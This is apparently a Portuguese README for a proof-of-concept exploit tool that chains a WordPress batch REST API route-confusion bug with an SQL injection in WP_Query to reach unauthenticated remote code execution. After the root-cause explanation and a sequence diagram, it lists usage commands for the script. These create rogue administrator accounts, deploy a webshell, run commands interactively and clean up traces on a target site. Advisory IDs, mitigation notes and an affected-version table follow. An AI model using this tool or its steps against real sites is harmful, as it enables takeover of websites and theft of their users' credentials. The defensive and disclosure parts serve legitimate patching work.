
WordPress REST API SQLi para RCE PoC (CVE-2026-63030 & CVE-2026-60137)
TL;DR — Um atacante não autenticado pode encadear um bug de roteamento batch da REST API do WordPress com uma injeção SQL no
WP_Querypara alcançar execução remota de código completa em uma instalação padrão do WordPress — sem plugins, sem conta, sem interação do usuário. Descoberto por Adam Kues (Assetnote / Searchlight Cyber), que o nomeou wp2shell. Corrigido em 17 de julho de 2026 nas versões 6.9.5, 7.0.2 e 6.8.6.
CVE-2026-63030 é o ponto de extremidade batch da API REST do Core do WordPress que lida mal com sub-requisições com falha, a ponto de uma sub-requisição posterior ser despachada sob a rota errada. Sozinho, é um bug lógico. Encadeado com CVE-2026-60137 — uma injeção SQL no parâmetro author__not_in do WP_Query — torna-se execução remota de código não autenticada.
O WordPress classifica o CVE-2026-63030 como Crítico e o CVE-2026-60137 como Alto; as estimativas CVSS de terceiros variam por rastreador (aproximadamente 7,5 e 9,1 respectivamente), já que nenhuma pontuação individual captura completamente o que a cadeia faz. Trate isso como crítico independentemente de qual número único você veja — o WordPress o considerou sério o suficiente para forçar atualizações automáticas em todos os sites afetados.
Causa raiz — dessincronização de contabilidade batch. Quando uma sub-requisição em um lote falha na validação, o WP_Error resultante é registrado em um array interno $validation[] — mas o array paralelo $matches[] usado para roteamento não é atualizado para corresponder. Essa lacuna de um item desloca cada sub-requisição posterior em uma posição: a sub-requisição N acaba sendo despachada usando o manipulador de rota destinado à sub-requisição N+1.
Bypass de sanitização. Executando sob um manipulador para o qual nunca foi roteada, a sub-requisição ignora a validação de entrada do próprio manipulador — incluindo verificações de tipo e is_array().
Injeção SQL. Essa lacuna permite que a entrada controlada pelo atacante atinja o parâmetro author__not_in do WP_Query como uma string bruta em vez de um array. A proteção is_array() que normalmente o rejeitaria nunca é executada, então o valor é interpolado diretamente em uma cláusula NOT IN (...).
Caminho para o comprometimento. A injeção é apenas SELECT — sem consultas empilhadas — mas em hosts onde o usuário do banco de dados tem privilégio FILE, isso é suficiente para escrever um webshell PHP na raiz web. Onde não está disponível, o mesmo ponto de injeção pode, em vez disso, fazer dump cego/UNION da tabela wp_users para hashes de senha de admin. De qualquer forma: nenhuma conta, nenhum plugin, nenhuma interação do usuário necessária.
sequenceDiagram
participant A as Attacker
participant B as Batch Handler
participant Q as WP_Query
participant D as MySQL
A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
B->>B: Sub-request N dispatched with sub-request N+1's route handler
Note over B: Wrong handler context — that route's input validation never runs
B->>Q: author__not_in passed as raw string, not array
Note over Q: is_array() guard skipped
Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
alt DB user has FILE privilege
D-->>A: Writes PHP webshell to web root → RCE
else No FILE privilege
D-->>A: Blind/UNION injection dumps admin password hashes
end
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
python3 CVE-2026-63030.py -t https://target.com --test
# Gerar credenciais automaticamente
python3 CVE-2026-63030.py -t https://target.com --create-admin
# Credenciais personalizadas
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
# Criar admin automaticamente, implantar shell, executar comando único
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
# Modo shell interativo
python3 CVE-2026-63030.py -t https://target.com --shell -i
# Usar credenciais existentes
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
# Limpeza após sessão shell
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
# Apenas limpeza (requer URL do shell da sessão anterior)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
-U created_admin -P password \
--shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
# Usar proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
# Timeout personalizado
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
GHSA-ff9f-jf42-662q (confusão de rota) · GHSA-fpp7-x2x2-2mjf (SQLi)CVE-2026-63030) — relatado por Adam Kues da Assetnote / Searchlight Cyber através do programa HackerOne do WordPress.CVE-2026-60137) — relatado separadamente, como uma equipe, por TF1T, dtro e haongo.6.9.5, 7.0.2, 6.8.6 ou posterior — a única correção completa. O WordPress habilitou atualizações automáticas forçadas para sites afetados; confirme se as suas realmente foram aplicadas em vez de presumir./wp-json/batch/v1 quanto ?rest_route=/batch/v1. Medida de emergência apenas — isso pode quebrar o uso legítimo da API batch (ex.: edição baseada em blocos) e não substitui a correção.| Versão do WordPress | SQLi (CVE-2026-60137) | Confusão de rota (CVE-2026-63030) | Risco real |
|---|
| < 6.8.0 | — | — | Não afetado |
| 6.8.0 – 6.8.5 | ✅ | — | Apenas SQLi — precisa de um plugin/tema para passar entrada não confiável para author__not_in; não acessível pré-autenticação apenas com o core. Atualize de qualquer forma. |
| 6.9.0 – 6.9.4 | ✅ | ✅ | RCE não autenticado |
| 7.0.0 – 7.0.1 | ✅ | ✅ | RCE não autenticado |
| 7.1 Beta 1 | ✅ | ✅ | RCE não autenticado (canal beta) |